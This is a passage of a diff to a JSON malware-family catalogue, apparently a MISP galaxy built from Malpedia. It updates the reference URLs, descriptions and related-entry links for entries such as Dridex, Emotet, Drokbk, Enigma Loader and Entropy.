"https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", - "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", - "https://lokalhost.pl/gozi_tree.txt" + "https://medium.com/csis-techblog/the-end-of-dreambot-a-loved-piece-of-gozi-24cc9bfc8122" ], "synonyms": [], "type": [] @@ -21114,131 +22482,125 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex", - "https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://adalogics.com/blog/the-state-of-advanced-code-injections", - "https://blog.lexfo.fr/dridex-malware.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://community.riskiq.com/article/2cd1c003", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/", + "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.youtube.com/watch?v=1VB15_HgUkg", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://cdn2.hubspot.net/hubfs/507516/ANB_MIR_Dridex_PRv7_final.pdf", + "https://unit42.paloaltonetworks.com/travel-themed-phishing/", + "https://cyber-anubis.github.io/malware%20analysis/dridex/", + "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://github.com/rad9800/talks/blob/main/MALWARE_MADNESS.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://artik.blue/malware3", + "https://www.pandasecurity.com/mediacenter/src/uploads/2017/10/Informe_Dridex_Revisado_FINAL_EN-2.pdf", + "https://threatresearch.ext.hp.com/dridex-malicious-document-analysis-automating-the-extraction-of-payload-urls/", + "https://malwarebookreports.com/cryptone-cobalt-strike/", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf", + "https://community.riskiq.com/article/e4fb7245", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://home.treasury.gov/news/press-releases/sm845", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://twitter.com/felixw3000/status/1382614469713530883?s=20", + "https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/", + "https://muha2xmad.github.io/unpacking/dridex/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt", + "https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", + "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/", + "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://isc.sans.edu/forums/diary/Recent+Dridex+activity/26550/", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://blog.lexfo.fr/dridex-malware.html", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", + "https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain", + "https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/", + "https://twitter.com/TheDFIRReport/status/1356729371931860992", + "https://intel471.com/blog/privateloader-malware", + "https://viql.github.io/dridex/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.appgate.com/blog/reverse-engineering-dridex-and-automating-ioc-extraction", + "https://www.atomicmatryoshka.com/post/malware-headliners-dridex", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://twitter.com/Cryptolaemus1/status/1407135648528711680", + "https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state", + "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://blogs.vmware.com/networkvirtualization/2021/03/analysis-of-a-new-dridex-campaign.html/", + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", + "https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/", "https://assets.virustotal.com/reports/2021trends.pdf", "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", - "https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/", - "https://unit42.paloaltonetworks.com/travel-themed-phishing/", - "https://viql.github.io/dridex/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", - "https://twitter.com/Cryptolaemus1/status/1407135648528711680", - "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - 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"https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://gaissecurity.com/uploads/csirt/EN-Dridex-banking-trojan.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/", - 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"https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://securityintelligence.com/dridexs-cold-war-enter-atombombing/", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "276c2c2e-09da-44cf-a3f7-806b3feb41da", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b4216929-1626-4444-bdd7-bfd4b68a766e", "value": "Dridex" }, @@ -21247,11 +22609,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", - "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" ], "synonyms": [ "Spy.Agent.ORM", @@ -21292,6 +22654,20 @@ "uuid": "730a4e94-4f9b-4f34-a1f3-1c97d341332c", "value": "DriveOcean" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.drokbk", + "https://www.microsoft.com/en-us/security/blog/2023/04/18/nation-state-threat-actor-mint-sandstorm-refines-tradecraft-to-attack-high-value-targets/", + "https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b29c0d53-597d-41c9-a1d0-04dbaa4917f8", + "value": "Drokbk" + }, { "description": "DropBook is a backdoor developed by the Molerats group and first appeared in late 2020. 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"https://securelist.com/the-chronicles-of-emotet/99660/", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", - "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/", - "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://threatpost.com/emotet-spreading-malicious-excel-files/178444/", - "https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/", - "https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", - "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", - 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"https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://persianov.net/emotet-malware-analysis-part-1", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://twitter.com/eduardfir/status/1461856030292422659", - "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html", - "https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/", - "https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break", - "https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/", - "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", - 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"https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html", + "https://twitter.com/ContiLeaks/status/1498614197202079745", + "https://www.atomicmatryoshka.com/post/malware-headliners-emotet", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", + "https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled", + "https://d00rt.github.io/emotet_network_protocol/", + "https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/", + "https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/", + "https://www.cert.pl/en/news/single/whats-up-emotet/", + "https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html", + "https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", + "https://www.youtube.com/watch?v=_mGMJFNJWSk", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf", + "https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/", + "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://isc.sans.edu/diary/28044", + "https://community.riskiq.com/article/2cd1c003", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/", + "https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/", + "https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus", + "https://www.trendmicro.com/en_no/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/", + "https://forensicitguy.github.io/emotet-excel4-macro-analysis/", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://threatresearch.ext.hp.com/emotets-return-whats-different/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://isc.sans.edu/forums/diary/Emotet+Stops+Using+0000+in+Spambot+Traffic/28270/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://www.jpcert.or.jp/english/at/2019/at190044.html", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video", + "https://blog.lumen.com/emotet-redux/", + "https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/", + "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://research.checkpoint.com/emotet-tricky-trojan-git-clones/", + "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://muha2xmad.github.io/unpacking/emotet-part-2/", + "https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/", + "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://isc.sans.edu/diary/rss/27036", + "http://ropgadget.com/posts/defensive_pcres.html", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html", + "https://kienmanowar.wordpress.com/2022/12/19/z2abimonthly-malware-challege-emotet-back-from-the-dead/", + "https://www.youtube.com/watch?v=_BLOmClsSpc", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/", + "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", + "https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/", + "https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/", + "https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/", + "https://medium.com/@Ilandu/emotet-campaign-6f240f7a5ed5", + "https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak", + "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/", + "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", + "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69", + "https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return", + "http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1", + "https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/", + "https://cert.grnet.gr/en/blog/reverse-engineering-emotet/", + "https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware" ], "synonyms": [ "Geodo", @@ -22122,15 +23508,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "3f7616bd-f1de-46ee-87c2-43c0c2edaa28", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d29eb927-d53d-4af2-b6ce-17b3a1b34fe7", "value": "Emotet" }, @@ -22139,28 +23516,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader", - "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html", - "https://redcanary.com/blog/getsystem-offsec/", - "https://twitter.com/thor_scanner/status/992036762515050496", - "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://attack.mitre.org/groups/G0096", "http://www.secureworks.com/research/threat-profiles/gold-burlap", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://twitter.com/thor_scanner/status/992036762515050496", "https://paper.seebug.org/1301/", "https://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://attack.mitre.org/groups/G0096", - "https://www.mandiant.com/media/12596/download" + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.mandiant.com/media/12596/download", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick" ], "synonyms": [], "type": [] @@ -22188,12 +23566,12 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", - "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/", + "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://attack.mitre.org/groups/G0011", - "https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", + "https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/" ], "synonyms": [ "Lurid" @@ -22203,14 +23581,28 @@ "uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9", "value": "Enfal" }, + { + "description": "According to Trend Micro, this is a downloader, dedicated to stage execution of a second stage malware called Enigma Stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader", + "https://www.trendmicro.com/en_us/research/23/b/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7491f483-f3d2-4f90-be19-df1e3783f66f", + "value": "Enigma Loader" + }, { "description": "Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.entropy", 